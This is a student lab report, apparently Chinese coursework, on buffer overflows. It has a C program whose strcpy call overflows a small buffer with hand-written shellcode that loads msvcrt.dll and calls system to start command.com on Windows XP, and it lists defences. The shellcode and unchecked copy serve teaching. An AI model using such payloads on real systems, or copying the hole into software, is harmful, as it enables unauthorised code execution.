20191230徐亮 ch03 课下作业(选作,计入平时成绩)
缓冲区溢出漏洞实验报告
20191230徐亮
一、实验目的
该实验为验证性实验,实验目的如下:
1、掌握缓冲区溢出的基本原理。
2、掌握预防缓冲区溢出的方法,并且在实际编程中严格遵循这些方法。
二、实验内容及步骤
1、理解缓冲区溢出的基本原理。
2、利用函数strcpy()编程实现一个简单的缓冲区溢出实例。
3、总结预防缓冲区溢出的方法。
三、实验要求
1、掌握缓冲区溢出的基本原理,并熟练掌握C语言编程。
2、生能够编程实现一个简单的缓冲区溢出实例。
四、实验所涉及知识点
本实验涉及的知识点主要是缓冲区溢出。
五、实验环境
计算机 :Windows XP
开发环境:Dev-C++
六、实验验证原理
1、缓冲区溢出:缓冲区溢出是一种常见且危害很大的系统攻击手段,通过查阅资料得知向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。
2、C语言编程中,一些不作边界检查的字符串拷贝函数(如strcpy)容易造成缓冲区溢出。
七、实验过程
1、在VMware Workstation中安装Windows XP虚拟机
2、在虚拟机中安装Dev-C++
3、设计C语言代码
源代码如下:
#include <stdio.h>
#include <string.h>
char code[]="01234567XXXXxxxx"
"\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D";
int main(){
char buf[4];
strcpy(buf,code);
printf("%s\n",buf);
return 0;
}
运行结果:
八、实验体会
通过学习,了解到缓冲区溢出是一种在各种操作系统、应用软件中广泛存在普遍且危险的漏洞,利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
1. 缓冲区溢出的原理:
当正常的使用者操作程序的时候,所进行的操作一般不会超出程序的运行范围;而黑客却利用缓冲长度界限向程序中输入超出其常规长度的内容,造成缓冲区的溢出从而破坏程序的堆栈,使程序运行出现特殊的问题转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数,属于程序开发过程考虑不周到的结果。 当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
2. 缓冲区溢出攻击的防范方法:
缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。 目前有三种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响:
(1) 通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;
(2) 强制写正确的代码的方法;
(3) 利用编译器的边界检查来实现缓冲区的保护,使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁。